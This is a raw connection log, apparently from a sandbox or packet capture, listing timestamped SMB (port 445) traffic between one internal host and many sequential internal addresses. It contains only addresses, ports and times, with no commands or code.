Jul 6, 2024 14:11:33.034984112 CEST	51909	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:33.035058975 CEST	51908	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:33.035363913 CEST	445	51904	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:33.037565947 CEST	51909	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:33.039773941 CEST	51911	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:33.039849997 CEST	51910	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:33.039921045 CEST	445	51906	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:33.039930105 CEST	445	51907	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:33.039940119 CEST	445	51907	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:33.039958000 CEST	445	51908	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:33.039993048 CEST	51907	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:33.040070057 CEST	51908	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:33.040591955 CEST	445	51908	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:33.040604115 CEST	445	51909	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:33.040730953 CEST	51909	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:33.044928074 CEST	445	51909	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:33.044936895 CEST	445	51867	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:33.044994116 CEST	51867	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:33.045454025 CEST	445	51911	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:33.045463085 CEST	445	51910	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:33.045471907 CEST	445	51907	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:33.045516968 CEST	51911	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:33.045629978 CEST	51911	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:33.046628952 CEST	51910	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:33.051317930 CEST	445	51911	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:33.051327944 CEST	445	51911	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:33.051384926 CEST	51911	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:33.052190065 CEST	445	51910	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:33.052228928 CEST	51910	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:33.054641962 CEST	51910	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:33.054877996 CEST	51912	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:33.055826902 CEST	51914	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:33.055968046 CEST	51913	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:33.055995941 CEST	51915	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:33.060647964 CEST	445	51910	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:33.060662031 CEST	445	51912	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:33.060741901 CEST	51912	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:33.060811996 CEST	51912	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:33.061335087 CEST	445	51914	192.168.3.100	192.168.2.6
Jul 6, 2024 14:11:33.061363935 CEST	445	51913	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:33.061372995 CEST	445	51915	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:33.061402082 CEST	51914	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:33.061438084 CEST	51913	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:33.061500072 CEST	51915	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:33.061512947 CEST	51913	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:33.061568975 CEST	51914	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:33.066118956 CEST	445	51912	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:33.068516970 CEST	445	51912	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:33.068525076 CEST	445	51913	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:33.068535089 CEST	445	51914	192.168.3.100	192.168.2.6
Jul 6, 2024 14:11:33.068542957 CEST	445	51913	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:33.068552017 CEST	445	51915	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:33.068578959 CEST	51914	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:33.068603992 CEST	51915	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:33.069253922 CEST	51915	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:33.070353985 CEST	51916	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:33.070568085 CEST	51917	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:33.075081110 CEST	445	51915	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:33.075352907 CEST	445	51916	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:33.075413942 CEST	51916	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:33.075764894 CEST	445	51917	192.168.3.101	192.168.2.6
Jul 6, 2024 14:11:33.075809956 CEST	51917	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:33.075882912 CEST	51917	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:33.080419064 CEST	445	51916	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:33.080463886 CEST	51916	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:33.081115007 CEST	445	51917	192.168.3.101	192.168.2.6
Jul 6, 2024 14:11:33.081156015 CEST	51917	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:33.085470915 CEST	51916	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:33.086141109 CEST	51918	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:33.087069988 CEST	51920	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:33.090426922 CEST	445	51916	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:33.090460062 CEST	51919	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:33.090970993 CEST	445	51918	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:33.091037035 CEST	51918	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:33.091125965 CEST	51918	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:33.092562914 CEST	445	51920	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:33.092729092 CEST	51920	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:33.095380068 CEST	445	51919	192.168.3.102	192.168.2.6
Jul 6, 2024 14:11:33.095447063 CEST	51919	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:33.095576048 CEST	51919	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:33.095990896 CEST	445	51918	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:33.096426010 CEST	445	51918	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:33.097803116 CEST	445	51920	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:33.098082066 CEST	51920	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:33.100560904 CEST	51920	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:33.100723028 CEST	445	51919	192.168.3.102	192.168.2.6
Jul 6, 2024 14:11:33.100788116 CEST	51919	445	192.168.2.6	192.168.3.102
Jul 6, 2024 14:11:33.101280928 CEST	51921	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:33.102297068 CEST	51922	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:33.102459908 CEST	51923	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:33.117234945 CEST	51924	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:33.117322922 CEST	51925	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:33.132123947 CEST	51926	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:33.132277012 CEST	51927	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:33.132493019 CEST	51928	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:33.133421898 CEST	51929	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:33.133544922 CEST	51930	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:33.136655092 CEST	445	51920	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:33.136665106 CEST	445	51921	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:33.136673927 CEST	445	51922	192.168.3.103	192.168.2.6
Jul 6, 2024 14:11:33.136682987 CEST	445	51923	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:33.136754036 CEST	51921	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:33.136775970 CEST	51922	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:33.136894941 CEST	51921	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:33.136908054 CEST	51922	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:33.137170076 CEST	445	51924	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:33.137181044 CEST	445	51925	192.168.3.104	192.168.2.6
Jul 6, 2024 14:11:33.137243986 CEST	51924	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:33.137305975 CEST	51923	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:33.137305975 CEST	51923	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:33.137877941 CEST	445	51926	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:33.137957096 CEST	445	51927	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:33.138036013 CEST	445	51928	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:33.139653921 CEST	51925	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:33.139653921 CEST	51925	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:33.140436888 CEST	445	51929	192.168.3.105	192.168.2.6
Jul 6, 2024 14:11:33.141438007 CEST	445	51930	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:33.141503096 CEST	51930	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:33.141702890 CEST	51930	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:33.142611027 CEST	51929	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:33.142611027 CEST	51929	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:33.142698050 CEST	445	51886	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:33.142744064 CEST	51886	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:33.143692970 CEST	51926	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:33.143692970 CEST	51926	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:33.143692970 CEST	51927	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:33.143692970 CEST	51928	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:33.143692970 CEST	51927	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:33.143692970 CEST	51928	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:33.147120953 CEST	445	51921	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:33.147420883 CEST	445	51921	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:33.147788048 CEST	51924	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:33.148992062 CEST	445	51922	192.168.3.103	192.168.2.6
Jul 6, 2024 14:11:33.149013042 CEST	445	51924	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:33.149053097 CEST	51922	445	192.168.2.6	192.168.3.103
Jul 6, 2024 14:11:33.149101019 CEST	51924	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:33.149106979 CEST	445	51923	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:33.149254084 CEST	51931	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:33.149996042 CEST	51932	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:33.150039911 CEST	445	51925	192.168.3.104	192.168.2.6
Jul 6, 2024 14:11:33.150083065 CEST	51925	445	192.168.2.6	192.168.3.104
Jul 6, 2024 14:11:33.151887894 CEST	445	51930	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:33.151937962 CEST	51930	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:33.154108047 CEST	51923	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:33.154134035 CEST	445	51929	192.168.3.105	192.168.2.6
Jul 6, 2024 14:11:33.154227018 CEST	51929	445	192.168.2.6	192.168.3.105
Jul 6, 2024 14:11:33.155204058 CEST	445	51926	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:33.155213118 CEST	445	51927	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:33.155220985 CEST	445	51928	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:33.155577898 CEST	445	51924	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:33.155854940 CEST	445	51926	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:33.156090975 CEST	445	51927	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:33.156100035 CEST	445	51928	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:33.159224987 CEST	445	51931	192.168.3.106	192.168.2.6
Jul 6, 2024 14:11:33.159293890 CEST	51931	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:33.159310102 CEST	445	51932	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:33.159373045 CEST	51932	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:33.159429073 CEST	51931	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:33.163655996 CEST	51932	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:33.164712906 CEST	51933	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:33.165010929 CEST	445	51931	192.168.3.106	192.168.2.6
Jul 6, 2024 14:11:33.165067911 CEST	51931	445	192.168.2.6	192.168.3.106
Jul 6, 2024 14:11:33.165577888 CEST	51934	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:33.165601015 CEST	445	51932	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:33.165657043 CEST	51932	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:33.168430090 CEST	445	51932	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:33.169661045 CEST	445	51933	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:33.169730902 CEST	51933	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:33.169821978 CEST	51933	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:33.170372009 CEST	445	51934	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:33.171268940 CEST	51934	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:33.171268940 CEST	51934	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:33.175738096 CEST	445	51933	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:33.175786018 CEST	445	51933	192.168.3.107	192.168.2.6
Jul 6, 2024 14:11:33.175795078 CEST	51933	445	192.168.2.6	192.168.3.107
Jul 6, 2024 14:11:33.177788973 CEST	445	51934	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:33.178447008 CEST	51934	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:33.180277109 CEST	51935	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:33.180773973 CEST	51936	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:33.185818911 CEST	445	51936	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:33.189097881 CEST	51936	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:33.190371037 CEST	445	51935	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:33.196275949 CEST	51936	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:33.196557045 CEST	51935	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:33.196557045 CEST	51935	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:33.196557045 CEST	51938	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:33.196557999 CEST	51939	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:33.196557999 CEST	51940	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:33.197037935 CEST	51942	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:33.202011108 CEST	445	51936	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:33.202622890 CEST	51936	445	192.168.2.6	192.168.3.108
Jul 6, 2024 14:11:33.204212904 CEST	51941	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:33.205735922 CEST	51937	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:33.211167097 CEST	51943	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:33.211296082 CEST	51944	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:33.213984966 CEST	445	51936	192.168.3.108	192.168.2.6
Jul 6, 2024 14:11:33.214004993 CEST	445	51938	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:33.214025974 CEST	445	51939	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:33.214036942 CEST	445	51940	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:33.214057922 CEST	445	51942	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:33.214071035 CEST	51938	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:33.214116096 CEST	51939	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:33.214128971 CEST	445	51935	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:33.214138985 CEST	51940	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:33.214138985 CEST	51938	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:33.214142084 CEST	51942	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:33.214179039 CEST	51935	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:33.214250088 CEST	51940	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:33.214322090 CEST	51939	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:33.215470076 CEST	445	51941	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:33.215517044 CEST	445	51937	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:33.215581894 CEST	51937	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:33.215621948 CEST	51937	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:33.216155052 CEST	445	51943	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:33.216180086 CEST	445	51944	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:33.216583967 CEST	51943	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:33.216583967 CEST	51943	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:33.218205929 CEST	51941	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:33.218205929 CEST	51941	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:33.224173069 CEST	445	51938	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:33.224181890 CEST	445	51940	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:33.224190950 CEST	445	51939	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:33.224684000 CEST	445	51939	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:33.225744963 CEST	51942	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:33.225774050 CEST	51945	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:33.226279974 CEST	51944	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:33.226279974 CEST	51944	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:33.226937056 CEST	51947	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:33.234867096 CEST	445	51940	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:33.234883070 CEST	51946	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:33.234885931 CEST	445	51937	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:33.235022068 CEST	445	51941	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:33.235070944 CEST	445	51945	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:33.235364914 CEST	445	51947	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:33.235407114 CEST	445	51942	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:33.236977100 CEST	51945	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:33.236977100 CEST	51945	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:33.237231970 CEST	51947	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:33.237231970 CEST	51942	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:33.238334894 CEST	445	51937	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:33.238652945 CEST	51948	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:33.238662958 CEST	445	51944	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:33.238672972 CEST	445	51943	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:33.240546942 CEST	445	51941	192.168.3.109	192.168.2.6
Jul 6, 2024 14:11:33.241345882 CEST	51949	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:33.242350101 CEST	51951	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:33.242471933 CEST	445	51946	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:33.243540049 CEST	445	51943	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:33.243583918 CEST	51943	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:33.243658066 CEST	445	51945	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:33.244165897 CEST	445	51944	192.168.3.110	192.168.2.6
Jul 6, 2024 14:11:33.244323969 CEST	51944	445	192.168.2.6	192.168.3.110
Jul 6, 2024 14:11:33.244510889 CEST	51947	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:33.244510889 CEST	51950	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:33.244617939 CEST	445	51945	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:33.245249987 CEST	51946	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:33.245249987 CEST	51946	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:33.245524883 CEST	445	51948	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:33.245578051 CEST	51941	445	192.168.2.6	192.168.3.109
Jul 6, 2024 14:11:33.247199059 CEST	445	51949	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:33.247761965 CEST	51948	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:33.251169920 CEST	445	51951	192.168.3.112	192.168.2.6
Jul 6, 2024 14:11:33.251188993 CEST	445	51947	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:33.252902031 CEST	51949	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:33.252902031 CEST	51949	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:33.254589081 CEST	51951	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:33.254589081 CEST	51951	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:33.255459070 CEST	51947	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:33.257229090 CEST	51948	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:33.258620024 CEST	51953	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:33.260191917 CEST	445	51946	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:33.261174917 CEST	445	51946	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:33.263289928 CEST	51952	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:33.264358997 CEST	445	51948	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:33.264426947 CEST	51948	445	192.168.2.6	192.168.3.111
Jul 6, 2024 14:11:33.267052889 CEST	445	51949	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:33.268157005 CEST	445	51947	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:33.268167019 CEST	445	51950	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:33.268176079 CEST	445	51949	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:33.268224955 CEST	51950	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:33.268788099 CEST	51950	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:33.268996000 CEST	445	51951	192.168.3.112	192.168.2.6
Jul 6, 2024 14:11:33.269006014 CEST	445	51948	192.168.3.111	192.168.2.6
Jul 6, 2024 14:11:33.269692898 CEST	445	51953	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:33.269779921 CEST	51953	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:33.270029068 CEST	51951	445	192.168.2.6	192.168.3.112
Jul 6, 2024 14:11:33.272213936 CEST	445	51952	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:33.272264957 CEST	51952	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:33.272408009 CEST	51952	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:33.272488117 CEST	51953	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:33.273627996 CEST	51954	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:33.274518013 CEST	445	51950	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:33.275314093 CEST	445	51953	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:33.275367022 CEST	51953	445	192.168.2.6	192.168.3.113
Jul 6, 2024 14:11:33.275424957 CEST	51950	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:33.277873993 CEST	445	51953	192.168.3.113	192.168.2.6
Jul 6, 2024 14:11:33.279259920 CEST	445	51954	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:33.279309988 CEST	51954	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:33.279403925 CEST	51954	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:33.279855013 CEST	445	51952	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:33.279901028 CEST	51952	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:33.281032085 CEST	51955	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:33.284729958 CEST	445	51954	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:33.284806967 CEST	445	51954	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:33.285209894 CEST	51954	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:33.288381100 CEST	51956	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:33.288768053 CEST	51957	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:33.289164066 CEST	445	51955	192.168.3.114	192.168.2.6
Jul 6, 2024 14:11:33.291860104 CEST	51959	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:33.292671919 CEST	51958	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:33.294202089 CEST	51955	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:33.294202089 CEST	51955	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:33.296557903 CEST	445	51956	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:33.297933102 CEST	51956	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:33.297933102 CEST	51956	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:33.298855066 CEST	445	51957	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:33.298914909 CEST	51957	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:33.298971891 CEST	51957	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:33.299227953 CEST	445	51959	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:33.299247980 CEST	445	51958	192.168.3.115	192.168.2.6
Jul 6, 2024 14:11:33.299299955 CEST	51958	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:33.299412966 CEST	51958	445	192.168.2.6	192.168.3.115
Jul 6, 2024 14:11:33.301167011 CEST	445	51955	192.168.3.114	192.168.2.6
Jul 6, 2024 14:11:33.303025961 CEST	51955	445	192.168.2.6	192.168.3.114
Jul 6, 2024 14:11:33.303375006 CEST	445	51956	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:33.303706884 CEST	51959	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:33.303706884 CEST	51959	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:33.304102898 CEST	445	51956	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:33.304652929 CEST	445	51957	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:33.304672956 CEST	51960	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:33.304867029 CEST	445	51957	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:33.305064917 CEST	445	51958	192.168.3.115	192.168.2.6
Jul 6, 2024 14:11:33.305138111 CEST	51958	445	192.168.2.6	192.168.3.115
